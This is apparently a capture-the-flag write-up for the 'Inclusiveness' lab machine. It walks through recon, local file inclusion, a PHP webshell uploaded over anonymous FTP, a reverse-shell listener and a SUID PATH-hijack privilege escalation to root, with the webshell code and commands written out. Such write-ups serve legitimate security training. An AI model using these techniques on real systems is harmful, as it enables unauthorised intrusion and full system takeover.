Skip to content

Inclusiveness Writeup - Proving Grounds

Easy Linux

Created October 7, 2026 • Last updated October 7, 2026 • 3 min read

Inclusiveness hides a directory behind a User-Agent check, where a ?lang= parameter is a local file inclusion. Anonymous FTP has a writable directory that maps into the web root, so a PHP webshell uploaded over FTP and included through the LFI gives RCE as www-data. A SUID binary that validates the user with a relative whoami call is abused with a PATH hijack for root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0   4096 Feb 08 21:51 pub [NSE: writeable]
22/tcp open  ssh     OpenSSH 7.9p1 Debian
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Anonymous FTP with a world-writable /pub, SSH, and a default Apache site. The robots.txt blocks non-search-engine agents, so spoof the User-Agent.

Web enumeration

Read robots.txt with a search-engine User-Agent.

┌──(kali㉿kali)-[~]
└─$ curl -A "GoogleBot" http://$TARGET_IP/robots.txt
User-agent: *
Disallow: /secret_information/
Explain command
-A Set the User-Agent header to bypass the agent check.

A /secret_information/ page loads content through ?lang=en.php, which is a local file inclusion.

Exploitation

LFI and anonymous FTP upload

Read files through the LFI, including /etc/vsftpd.conf, which shows anon_root=/var/ftp and write_enable=YES. So the anonymous FTP /pub directory is on disk at /var/ftp/pub. Upload a PHP webshell over FTP.

<?php system($_GET['cmd']); ?>
┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP
cd /pub
put backdoor.php
226 Transfer complete

Include the uploaded shell through the LFI and run a command: http://$TARGET_IP/secret_information/?lang=/var/ftp/pub/backdoor.php&cmd=id returns uid=33(www-data). Pass a URL-encoded Python reverse shell as the command and catch it on a listener.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
www-data@inclusiveness:/var/www/html/secret_information$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.

Shell as www-data. Enumerate SUID binaries.

Privilege Escalation

SUID binary PATH hijack

List SUID binaries.

┌──(kali㉿kali)-[~]
└─$ find / -perm -u=s -type f 2>/dev/null
/usr/sbin/pppd
/home/tom/rootshell

The custom SUID /home/tom/rootshell stands out. Its source validates the user with a relative whoami call through popen.

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main() {
    printf("checking if you are tom...\n");
    FILE* f = popen("whoami", "r");
    char user[80];
    fgets(user, 80, f);
    printf("you are: %s\n", user);
    if (strncmp(user, "tom", 3) == 0) {
        printf("access granted.\n");
        setuid(geteuid());
        execlp("sh", "sh", (char *) 0);
    }
}

Because whoami is called without an absolute path, hijack PATH with a fake whoami that prints tom, then run the binary.

┌──(kali㉿kali)-[~]
└─$ echo 'printf tom' > /tmp/whoami
┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/whoami
┌──(kali㉿kali)-[~]
└─$ export PATH=/tmp:$PATH
┌──(kali㉿kali)-[~]
└─$ /home/tom/rootshell
www-data@inclusiveness:/home/tom$ ./rootshell
checking if you are tom...
you are: tom
access granted.
# id
uid=0(root) gid=33(www-data) groups=33(www-data)

The fake whoami returns tom, so rootshell grants a shell that runs as root.